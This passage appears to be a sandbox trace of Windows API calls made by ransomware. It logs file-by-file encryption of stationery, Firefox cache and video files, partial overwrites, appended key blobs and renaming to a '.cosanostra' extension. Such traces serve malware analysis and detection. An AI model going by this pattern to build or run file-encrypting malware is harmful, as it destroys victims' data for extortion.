Mail\\Stationery\\Roses.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.cosanostra")) returned 1 [0088.640] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f758 | out: pbBuffer=0x251f758) returned 1 [0088.640] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f750*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f750*=0x30) returned 1 [0088.640] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\b60f3d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.642] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01") returned 109 [0088.642] StrStrW (lpFirst="B60F3d01", lpSrch=".txt") returned 0x0 [0088.650] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.651] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f714, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f714*=0x2800, lpOverlapped=0x0) returned 1 [0088.651] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.651] WriteFile (in: hFile=0x154, lpBuffer=0x251f754*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f714, lpOverlapped=0x0 | out: lpBuffer=0x251f754*, lpNumberOfBytesWritten=0x251f714*=0x4, lpOverlapped=0x0) returned 1 [0089.210] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f714, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f714*=0x30, lpOverlapped=0x0) returned 1 [0089.210] CloseHandle (hObject=0x154) returned 1 [0089.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\b60f3d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\b60f3d01.cosanostra")) returned 1 [0089.211] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f750 | out: pbBuffer=0x251f750) returned 1 [0089.212] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f748*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f748*=0x30) returned 1 [0089.212] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\startupcache.4.little"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.212] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little") returned 124 [0089.212] StrStrW (lpFirst="startupCache.4.little", lpSrch=".txt") returned 0x0 [0089.230] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.230] WriteFile (in: hFile=0x154, lpBuffer=0x2d2e10*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f70c, lpOverlapped=0x0 | out: lpBuffer=0x2d2e10*, lpNumberOfBytesWritten=0x251f70c*=0x2800, lpOverlapped=0x0) returned 1 [0089.230] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.230] WriteFile (in: hFile=0x154, lpBuffer=0x251f74c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f70c, lpOverlapped=0x0 | out: lpBuffer=0x251f74c*, lpNumberOfBytesWritten=0x251f70c*=0x4, lpOverlapped=0x0) returned 1 [0089.961] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f70c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f70c*=0x30, lpOverlapped=0x0) returned 1 [0089.961] CloseHandle (hObject=0x154) returned 1 [0089.962] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\startupcache.4.little"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\startupcache.4.little.cosanostra")) returned 1 [0089.963] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f748 | out: pbBuffer=0x251f748) returned 1 [0089.963] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f740*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f740*=0x30) returned 1 [0089.963] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\yq YNTtrvPg.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\yq ynttrvpg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.964] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\yq YNTtrvPg.flv") returned 99 [0089.964] StrStrW (lpFirst="yq YNTtrvPg.flv", lpSrch=".txt") returned 0x0 [0089.965] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.965] WriteFile (in: hFile=0x154, lpBuffer=0x2fcc890*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f704, lpOverlapped=0x0 | out: lpBuffer=0x2fcc890*, lpNumberOfBytesWritten=0x251f704*=0x2800, lpOverlapped=0x0) returned 1 [0089.965] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.965] WriteFile (in: hFile=0x154, lpBuffer=0x251f744*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f704, lpOverlapped=0x0 | out: lpBuffer=0x251f744*, lpNumberOfBytesWritten=0x251f704*=0x4, lpOverlapped=0x0) returned 1 [0089.965] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f704, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f704*=0x30, lpOverlapped=0x0) returned 1 [0089.965] CloseHandle (hObject=0x154) returned 1 [0089.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\yq YNTtrvPg.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\yq ynttrvpg.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\yq YNTtrvPg.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\yq ynttrvpg.flv.cosanostra")) returned 1 [0089.966] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f748 | out: pbBuffer=0x251f748) returned 1 [0089.966] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f740*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f740*=0x30) returned 1 [0089.966] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\vQAi2P.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\vqai2p.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.966] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\vQAi2P.swf") returned 94 [0089.966] StrStrW (lpFirst="vQAi2P.swf", lpSrch=".txt") returned 0x0 [0089.967] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.967] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f704, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f704*=0x2800, lpOverlapped=0x0) returned 1 [0089.968] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.968] WriteFile (in: hFile=0x154, lpBuffer=0x251f744*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f704, lpOverlapped=0x0 | out: lpBuffer=0x251f744*, lpNumberOfBytesWritten=0x251f704*=0x4, lpOverlapped=0x0) returned 1 [0089.968] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f704, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f704*=0x30, lpOverlapped=0x0) returned 1 [0089.968] CloseHandle (hObject=0x154) returned 1 [0089.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\vQAi2P.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\vqai2p.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\vQAi2P.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\vqai2p.swf.cosanostra")) returned 1 [0089.970] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f740 | out: pbBuffer=0x251f740) returned 1 [0089.970] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f738*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f738*=0x30) returned 1 [0089.970] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\zqSS0eQVw0i2VTNm.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\zqss0eqvw0i2vtnm.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.970] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\zqSS0eQVw0i2VTNm.flv") returned 116 [0089.970] StrStrW (lpFirst="zqSS0eQVw0i2VTNm.flv", lpSrch=".txt") returned 0x0 [0089.971] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.971] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6fc*=0x2800, lpOverlapped=0x0) returned 1 [0089.971] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.971] WriteFile (in: hFile=0x154, lpBuffer=0x251f73c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6fc, lpOverlapped=0x0 | out: lpBuffer=0x251f73c*, lpNumberOfBytesWritten=0x251f6fc*=0x4, lpOverlapped=0x0) returned 1 [0089.971] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6fc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6fc*=0x30, lpOverlapped=0x0) returned 1 [0089.971] CloseHandle (hObject=0x154) returned 1 [0089.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\zqSS0eQVw0i2VTNm.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\zqss0eqvw0i2vtnm.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\zqSS0eQVw0i2VTNm.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\zqss0eqvw0i2vtnm.flv.cosanostra")) returned 1 [0089.972] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f738 | out: pbBuffer=0x251f738) returned 1 [0089.972] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f730*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f730*=0x30) returned 1 [0089.972] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\FnTL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\fntl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.972] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\FnTL.mkv") returned 104 [0089.972] StrStrW (lpFirst="FnTL.mkv", lpSrch=".txt") returned 0x0 [0089.973] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.973] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6f4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6f4*=0x2800, lpOverlapped=0x0) returned 1 [0089.973] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.973] WriteFile (in: hFile=0x154, lpBuffer=0x251f734*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6f4, lpOverlapped=0x0 | out: lpBuffer=0x251f734*, lpNumberOfBytesWritten=0x251f6f4*=0x4, lpOverlapped=0x0) returned 1 [0089.973] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6f4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6f4*=0x30, lpOverlapped=0x0) returned 1 [0089.973] CloseHandle (hObject=0x154) returned 1 [0089.973] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\FnTL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\fntl.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\FnTL.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\fntl.mkv.cosanostra")) returned 1 [0089.974] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f738 | out: pbBuffer=0x251f738) returned 1 [0089.974] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f730*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f730*=0x30) returned 1 [0089.974] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\aoXV_8Eai.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\aoxv_8eai.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.974] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\aoXV_8Eai.flv") returned 109 [0089.974] StrStrW (lpFirst="aoXV_8Eai.flv", lpSrch=".txt") returned 0x0 [0089.975] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffe2af, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.975] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1d51, lpNumberOfBytesWritten=0x251f6f4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6f4*=0x1d51, lpOverlapped=0x0) returned 1 [0089.975] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.975] WriteFile (in: hFile=0x154, lpBuffer=0x251f734*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6f4, lpOverlapped=0x0 | out: lpBuffer=0x251f734*, lpNumberOfBytesWritten=0x251f6f4*=0x4, lpOverlapped=0x0) returned 1 [0089.975] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6f4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6f4*=0x30, lpOverlapped=0x0) returned 1 [0089.975] CloseHandle (hObject=0x154) returned 1 [0089.975] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\aoXV_8Eai.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\aoxv_8eai.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\VoQMshpPfY1\\aoXV_8Eai.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\voqmshppfy1\\aoxv_8eai.flv.cosanostra")) returned 1 [0089.976] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f730 | out: pbBuffer=0x251f730) returned 1 [0089.976] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f728*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f728*=0x30) returned 1 [0089.976] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\TQrRtjaQmUAL.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\tqrrtjaqmual.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.976] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\TQrRtjaQmUAL.avi") returned 100 [0089.976] StrStrW (lpFirst="TQrRtjaQmUAL.avi", lpSrch=".txt") returned 0x0 [0089.977] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.977] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6ec, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6ec*=0x2800, lpOverlapped=0x0) returned 1 [0089.977] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.977] WriteFile (in: hFile=0x154, lpBuffer=0x251f72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6ec, lpOverlapped=0x0 | out: lpBuffer=0x251f72c*, lpNumberOfBytesWritten=0x251f6ec*=0x4, lpOverlapped=0x0) returned 1 [0089.977] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6ec, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6ec*=0x30, lpOverlapped=0x0) returned 1 [0089.977] CloseHandle (hObject=0x154) returned 1 [0089.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\TQrRtjaQmUAL.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\tqrrtjaqmual.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\TQrRtjaQmUAL.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\tqrrtjaqmual.avi.cosanostra")) returned 1 [0089.978] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f730 | out: pbBuffer=0x251f730) returned 1 [0089.978] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f728*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f728*=0x30) returned 1 [0089.978] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\p6igkTLmX3HsLGAbZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\p6igktlmx3hslgabz.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.978] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\p6igkTLmX3HsLGAbZ.swf") returned 105 [0089.978] StrStrW (lpFirst="p6igkTLmX3HsLGAbZ.swf", lpSrch=".txt") returned 0x0 [0089.978] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 